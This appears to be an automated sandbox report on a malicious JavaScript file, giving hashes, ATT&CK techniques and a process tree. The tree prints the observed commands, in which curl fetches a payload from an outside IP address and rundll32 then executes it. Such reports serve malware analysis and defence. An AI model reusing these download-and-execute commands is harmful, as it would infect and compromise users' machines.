dfe99e49909839abaa99142b09b1e8eaf4d5ceb9e5880e75b045fc2c805c4f7e

Analysis

max time kernel
135s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
14/06/2023, 12:12

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General

Target

docu_DF631_Jun_14_3.js
Size

22KB
MD5

c6c69d731f0d8972ad9c949054fe3a61
SHA1

c5d8530883a26074eea3bcaee046930710b70c53
SHA256

b0deea498617139a91f4fa0c43645268d0cdb0e5e7c19f31957c4708b7675875
SHA512

57f4220019e12d21a95fa4d1fc35cba6cf2f034c4663959c6b6dccbab93c9f5fd75f634aa6ef9e72e5ac1b11d11e28c4789bcfc9b6ccc1c8eacdc5529217ad49
SSDEEP

384:IlxwNHnWmEwxhJyyzgZT7yOjOt4kmtd70Sft:IlxwtWpwM9yV2d

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	4256	wscript.exe
5	4256	wscript.exe
14	4256	wscript.exe
15	4256	wscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4256 wrote to memory of 4244	4256	wscript.exe	82
PID 4256 wrote to memory of 4244	4256	wscript.exe	82
PID 4256 wrote to memory of 3432	4256	wscript.exe	85
PID 4256 wrote to memory of 3432	4256	wscript.exe	85
PID 3432 wrote to memory of 1216	3432	conhost.exe	86
PID 3432 wrote to memory of 1216	3432	conhost.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\docu_DF631_Jun_14_3.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -o prism.tmp http://192.121.17.149/QmVep/DB278
  2⤵
  PID:4244
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" rundll32.exe prism.tmp,must
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\System32\rundll32.exe
    rundll32.exe prism.tmp,must
    3⤵
    PID:1216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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